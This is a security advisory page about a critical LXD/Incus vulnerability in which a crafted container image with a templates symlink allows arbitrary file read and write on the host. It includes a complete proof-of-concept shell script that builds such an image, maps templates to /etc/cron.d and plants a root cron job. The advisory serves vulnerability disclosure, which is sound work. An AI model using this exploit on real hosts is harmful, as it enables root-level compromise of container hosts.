CRITICAL 9.9 Go

LXD has arbitrary file read+write on host via templates/ symlink in malicious image

GHSA-jpf8-86f3-wp38

Published · Modified

AI SAST

Find this class of vulnerability in your own code

Corgea's AI-native static analysis detects vulnerabilities like this one across your repositories, ranks them by exploitability, and returns review-ready fixes.

Description

Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479

Summary

A specially crafted image can be used to read or create/write arbitrary
files on the host; possibly leading to arbitrary command execution.

Details

For container images, internal/server/storage/utils.go calls
archive.Unpack(imageFile, destPath, ...). The tar extraction path in
shared/archive/archive.go excludes device nodes, but it does not
reject a top-level templates symlink.

In practice, this allows a malicious actor to access an arbitrary
directory and edit arbitrary files in it.

PoC

Below, we map the templates directory to /etc/cron.d on the host, but
it can be mapped anywhere. We then create a cronjob to run id as root.

#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: PoC templates symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink

incus config template ls afrw-image-templates-symlink

# read
#incus config template show afrw-image-templates-symlink $FILENAME

# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32
#incus config template edit afrw-image-templates-symlink poc

Impact

Arbitrary file read and write on the host via unsanitized symlink;
possibly leading to command execution.

Ready to move

Start Securing

Free, no credit card | First findings in minutes